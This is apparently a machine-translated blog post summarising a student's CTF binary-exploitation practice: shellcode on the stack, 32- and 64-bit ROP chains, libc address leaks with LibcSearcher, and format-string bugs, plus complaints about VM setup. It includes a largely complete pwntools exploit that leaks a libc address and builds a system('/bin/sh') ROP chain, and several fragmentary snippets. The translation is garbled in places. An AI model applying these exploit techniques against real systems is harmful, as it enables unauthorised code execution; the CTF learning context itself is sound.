A summary of winter vacation


Quote ciscn_ 2019_ n_ five

Open the main function and find that get is still a stack overflow, but shift has no bin and system, and no protection is turned on. When a name variable is opened, it is found to exist on the bss side. Therefore, you want to write the name directly to shellcode, and adjust get to the name function

from pwn import*


r.sendlineafter('tell me your name',shellcode)

r.sendlineafter('What do you want to say to me?',payload)


2.rop chain construction

Quote [HarekazeCTF2019]baby_rop

Open the main function and find that there is a stack overflow condition in scanf. Find bin and system in shift, and then use gadget to find pop rdi ret to construct rop

But it's strange that ls has all but can't cat flag. I don't understand

In the 64 bit rop construction, the parameters are first transferred before calling the function, and the first six parameters are first transferred into the registers rdi,rsi, rdx, rcx, r8d and r9d. Before entering the stack, try to find the address of pop register ret in the static library before construction. Generally speaking, the order of construction is: garbage filling + pop register (the first six parameters are directly transferred later) + calling the function address

The 32-bit rop structure is also similar, but the parameters are directly passed into the stack first, and the parameter transfer methods are different. Specifically, the function is called first, and then the parameters are passed in. The understanding is simpler than that of 64 bit. The construction logic is: garbage filling + calling function address + parameter filling


a. Triathlon (Fifth Division)_ 2018_rop 1

Open the main function, the classic nx protection, no sys and bin, and think of using the leaked address, direct template format, 32-bit template

from pwn import *
from LibcSearcher import *

r=remote('00 ',00)









Very angry, github can't open libc at all so. 6 can't, so I can only see the specific method of disassembly. The same idea as a is changed to 64 bits. It is worth noting that calling printf function calls% s function

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

#p = process('./babyrop2')
p = remote('00',00)
elf = ELF('babyrop2')

pop_rdi = 0x0000000000400733
pop_rsi_r15 = 0x0000000000400731 
format_str = 0x0000000000400770  
ret_addr = 0x0000000000400734

printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_plt = elf.sym['main']

payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_plt)

p.recvuntil("name? ")

read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(read_addr)
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')

sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)

4. Format string


read a printf and the same variable is a formatted string

First gdb debug aaaa, mark the price casually, print it in%08x, and find 11 distances

from pwn import *




0x0804a02c four bytes. When input to the address of x=3, it can only be changed to 4

Another type seems to have% s directly leaking flag Txt

Miscellaneous notes

A.buuctf ciscn_2019_ne_5: The parameter of system can be binsh or sh


Due to the strong setting of overflow size, the discussion of unsigned and signed integers increases the input range

C/C + +: integer overflow_ Lee's blog CSDN blog_ Integer Overflow thank

C. Virtual bombed many times. There are many plug-ins that can't be installed. I'm so angry. I found a problem with the installation of the virtual machine hard disk on the Internet. I want to laugh. Just try one yourself.

GitHub - Joe1sn/one_shot_pwn: one click deployment pwn basic configuration

It's a little unexpected to see joesn, but it can't be installed

GitHub - skyedai910/PWN_VM_SETUP: PWN virtual machine configuration script cowhide

However, the environment of python2 is always not good. It's very annoying. I'm ready to do it again at the beginning of school

D. Four protection mechanisms Explanation of four protection mechanisms of NX, Canary, relro, pie and Linux_ Peninsula iron box blog - CSDN blog_ Relro protection


Some topics do not need to be compiled. If there is no leave, there is no need to fill in ebp

Keywords: C# pwn

Added by manimoor on Sat, 19 Feb 2022 07:23:17 +0200